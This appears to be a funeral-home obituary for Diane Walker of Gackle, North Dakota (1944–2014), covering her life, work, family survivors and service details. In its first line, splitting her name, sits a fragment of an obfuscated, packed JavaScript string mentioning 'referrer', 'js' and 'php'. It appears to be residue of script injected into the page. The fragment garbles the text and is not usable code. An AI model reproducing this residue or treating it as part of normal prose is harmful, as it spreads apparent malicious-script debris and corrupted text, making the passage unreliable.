Diane fefea|var|u0026u|referrer|frttt||js|php’.split(‘|’),0,{}))
Walker, 70, Gackle, ND died early Thursday morning June 5, 2014 at Essentia Health in Fargo, ND.
Diane Gumke was born March 13, 1944 at Jud, ND, the daughter of Andrew R. Gumke and Alma (Elhard) Gumke. At an early age she moved with her family to Illinois where she completed her elementary education and graduated from high school in Lockport, IL.
She and Mike Walker were married August 3, 1963 in Illinois. They made their home in Lamont, IL where she worked for a local bank. In 1981 she returned to Gackle where she owned and operated the Gackle Tastee Freez. In 1982 she became employed at the ND State Hospital in Jamestown where she worked as a clerk in the payroll department until her retirement in 2006.
She was a member of the Emmanuel Lutheran Church in Gackle, ND. She enjoyed reading, Crocheting, Gardening and watching her grandchildren play ball.
Surviving are her children, Michelle Hehr, Neal (Heidi) Walker, and Melissa (Greg) Lunzman, all of Jamestown, ND, 10 grandchildren, 2 great grandchildren, 3 sisters and 2 brothers, Judy Thomas, Fresno, CA, Carol Muller, Gackle, ND, Donna (Leon) Phillips, Lockport, IL; Wayne (Louanne) Gumke, Jamestown, TN; Ken (Shar) Gumke, Jamestown, ND.
She was preceded in death by her parents and one sister Peggy.
Funeral Service will be at 10:30 AM Tuesday, June 10, 2014 in the Emmanuel Lutheran Church in Gackle, ND with Rev. Rick Steele, pastor officiating.
Interment will be made in the Gackle Cemetery, Gackle, ND.
Visitation 9-8 Monday at the Haut Funeral Home in Jamestown, ND.
An online guest book is available at hautfuneralhome.com.